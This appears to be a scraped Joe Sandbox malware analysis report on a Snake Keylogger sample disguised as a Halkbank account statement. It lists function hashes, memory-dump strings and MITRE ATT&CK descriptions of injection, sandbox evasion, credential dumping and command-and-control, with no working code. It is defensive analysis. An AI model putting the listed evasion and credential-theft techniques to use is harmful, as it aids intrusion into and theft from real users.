Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fb1d0c3021f4a75eddd8d1045f6d6a413cbdddf3866bb9b9845349b3a062575
Instruction ID: 2d6707e3fd42b7d1f3103e89c27e73df1d19edefd0e9b4ef59037cf632b731a8
Opcode Fuzzy Hash: 2fb1d0c3021f4a75eddd8d1045f6d6a413cbdddf3866bb9b9845349b3a062575
Instruction Fuzzy Hash: 67D05B31D2022B97CB11E7A5DC044DFF738EED5265B504626D51837140FB703659C6E1

Uniqueness

Uniqueness Score: -1.00%

Function 010082B8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 81dedf74df996ee8b00fb52072daf04db6bde4f79a284f4bc5eea56833306f5f
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: F5C0807350C1282AB236504E7C41DE7BB8CD3C13B4D114177F95CD3341D8425C4001F4

Uniqueness

Uniqueness Score: -1.00%

Function 0100A76D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2258a460b7e0b90445608039faaba0d8203a4bbd4926a0e29589b59370a43fc
Instruction ID: 54ca22bd4c84b457e0f8e3553f8763448b0d0533f6fd05854b939e8747f49292
Opcode Fuzzy Hash: f2258a460b7e0b90445608039faaba0d8203a4bbd4926a0e29589b59370a43fc
Instruction Fuzzy Hash: 7AD0173AB00008DFCF108F8CE850CDDB7B6FB9C221B008026E911A3260C6319821CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01005F00 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4559d8efb36addbfa4a37cfd4b2dbcbc6fa954c9d23c0d24c3a46e01ea490b9e
Instruction ID: a83c8190285b792b01c9db4f2ad9ab7ccedc0bc60687cf77e2dd5a8b62132387
Opcode Fuzzy Hash: 4559d8efb36addbfa4a37cfd4b2dbcbc6fa954c9d23c0d24c3a46e01ea490b9e
Instruction Fuzzy Hash: A4D0C27050C3864BC312B3B0E9524543B2AAB82308BB44594BC464E41BE9BD184583A1

Uniqueness

Uniqueness Score: -1.00%

Function 0100CEFC Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e8d8e10ce5e0ab68643776b0fe1a3ff7fc02945b5628a2d5702726b74b17558
Instruction ID: 0c180a1c2c13fe73fb8d5f5b8515e749763716adde8aa2fc64f162789b0194e4
Opcode Fuzzy Hash: 2e8d8e10ce5e0ab68643776b0fe1a3ff7fc02945b5628a2d5702726b74b17558
Instruction Fuzzy Hash: 46D04275E4401DCBCF30EFA8E4444DCBBB0EF88316F24546AD965A3211D63155558F11

Uniqueness

Uniqueness Score: -1.00%

Function 01005F10 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53be99fb8d42f13cd6571b9ef6516ae6d60f42ad444561d752eb61e754cc2a7a
Instruction ID: 464bd2bdbec2fc46d5cfb1d2bb7064458664420d288bb0d60a191bbde0b96a14
Opcode Fuzzy Hash: 53be99fb8d42f13cd6571b9ef6516ae6d60f42ad444561d752eb61e754cc2a7a
Instruction Fuzzy Hash: F9C0127060870A47C655F7F5EA46555371BEBC0304F705A10B80A0B51BEE7C199447D1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06632D00 Relevance: 23.0, Strings: 18, Instructions: 461COMMON

Download Yara Rule

Strings

Lj@p, xrefs: 06633299
Lj@p, xrefs: 06632FB4
PH]q, xrefs: 06633336
Lj@p, xrefs: 066331B7
PH]q, xrefs: 0663323B
Lj@p, xrefs: 066332AF
0o@p, xrefs: 06632E50
PH]q, xrefs: 06633132
Lj@p, xrefs: 06632FCA
PH]q, xrefs: 0663304E
PH]q, xrefs: 06633322
Lj@p, xrefs: 066330C2
", xrefs: 066334D7
Lj@p, xrefs: 066331A1
PH]q, xrefs: 0663303A
Lj@p, xrefs: 066330AC
PH]q, xrefs: 06633146
PH]q, xrefs: 06633227

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: "$0o@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q
API String ID: 0-1947560563
Opcode ID: aff9141390fc8226d36ce93a3e988a66a784a6a1eee2237194fd3e9975330164
Instruction ID: 09415e3ce12127c4ca9c2ed50d2835c7d1031f31522562202f57a82806368d00
Opcode Fuzzy Hash: aff9141390fc8226d36ce93a3e988a66a784a6a1eee2237194fd3e9975330164
Instruction Fuzzy Hash: 6232A074E01228CFDB68DF69C984B9DBBB2BF89304F1080A9D809AB354DB755E85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 06632C57 Relevance: 14.2, Strings: 11, Instructions: 401COMMON

Download Yara Rule

Strings

Haq, xrefs: 06632CB9
0o@p, xrefs: 06632E50
PH]q, xrefs: 06633132
PH]q, xrefs: 0663304E
PH]q, xrefs: 06633336
PH]q, xrefs: 06633322
", xrefs: 066334D7
PH]q, xrefs: 0663303A
PH]q, xrefs: 0663323B
PH]q, xrefs: 06633227
PH]q, xrefs: 06633146

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: "$0o@p$Haq$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q
API String ID: 0-401091292
Opcode ID: fe5122b6414cf98a085eb693b92e6730f0390894e894bfe43644cc7c553d744a
Instruction ID: 23638ba8cfb3fed151145abf5ce9284a77fcc73619d83682d36ef02514c4cde4
Opcode Fuzzy Hash: fe5122b6414cf98a085eb693b92e6730f0390894e894bfe43644cc7c553d744a
Instruction Fuzzy Hash: 1F12D3B4E002188FDB58DF69C994B9DBBF2BF89304F2080A9D409AB354DB755E85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0663E5D8 Relevance: 5.1, Strings: 4, Instructions: 131COMMON

Download Yara Rule

Strings

Xaq, xrefs: 0663E70B
Xaq, xrefs: 0663E6C3
Xaq, xrefs: 0663E609
Xaq, xrefs: 0663E63D

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: Xaq$Xaq$Xaq$Xaq
API String ID: 0-4015495023
Opcode ID: c882f589663e9eae0dd2d0a3b834607463ae39c9700074100b4022a389240df6
Instruction ID: b9ccfaa96b91a8c341d6333cc1572c93d9b4b90b1d36242dd70d25bfe3b40c3d
Opcode Fuzzy Hash: c882f589663e9eae0dd2d0a3b834607463ae39c9700074100b4022a389240df6
Instruction Fuzzy Hash: ED411A75E0013B8BEBB48A69C94037FB2A1EF95350F210177C91597381EA31DD82DBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0663E5C8 Relevance: 5.1, Strings: 4, Instructions: 96COMMON

Download Yara Rule

Strings

Xaq, xrefs: 0663E70B
Xaq, xrefs: 0663E6C3
Xaq, xrefs: 0663E609
Xaq, xrefs: 0663E63D

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: Xaq$Xaq$Xaq$Xaq
API String ID: 0-4015495023
Opcode ID: decfb9005079621b05cafa65a1a3e8fb410618bd9273fb99ec7bab3bfc58cc71
Instruction ID: 6121d8116e951f37d9f4be1c9359e4bc7b6b52cb5e80dcf67befe2b5f4b7b7a7
Opcode Fuzzy Hash: decfb9005079621b05cafa65a1a3e8fb410618bd9273fb99ec7bab3bfc58cc71
Instruction Fuzzy Hash: CA31C875E0023B4BDF798A69C54077FB6B1AF95340F2000BAC915A7781EA32DD41DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 010060E8 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;]q, xrefs: 010060F4
\;]q, xrefs: 0100611A
\;]q, xrefs: 010060FE
\;]q, xrefs: 01006126

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: \;]q$\;]q$\;]q$\;]q
API String ID: 0-2351511683
Opcode ID: a22f1eb5797c33cefad6088869b8f751c2008dd80f7e1a79c34a5456014d31fb
Instruction ID: 2bdc8b6dd346c622af2de28dc00a7c931bd3bed8baff738f91da6b8d471ddae5
Opcode Fuzzy Hash: a22f1eb5797c33cefad6088869b8f751c2008dd80f7e1a79c34a5456014d31fb
Instruction Fuzzy Hash: 3C01D431700015CFFBA68E2CC48096977E7AFC8760F1940A9E086CB3F2DA72DC618780

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Halkbank_Ekstre_20230426_075819_154055.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Halkbank_Ekstre_20230426_075819_154055.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
Halkbank_Ekstre_20230426_075819_154055.exe

Function 0255D458 Relevance: 6.1, APIs: 4, Instructions: 136
threadCOMMON

Function 0255D468 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 02700D84 Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Function 02700D90 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 0255ADC8 Relevance: 1.7, APIs: 1, Instructions: 204
COMMON

Function 0255590D Relevance: 1.6, APIs: 1, Instructions: 102
COMMON

Function 025544D4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 02555A84 Relevance: 1.6, APIs: 1, Instructions: 88
COMMON

Function 02700B00 Relevance: 1.6, APIs: 1, Instructions: 75
injectionCOMMON

Function 02700B08 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 02700969 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Function 02700BF0 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Function 02700970 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre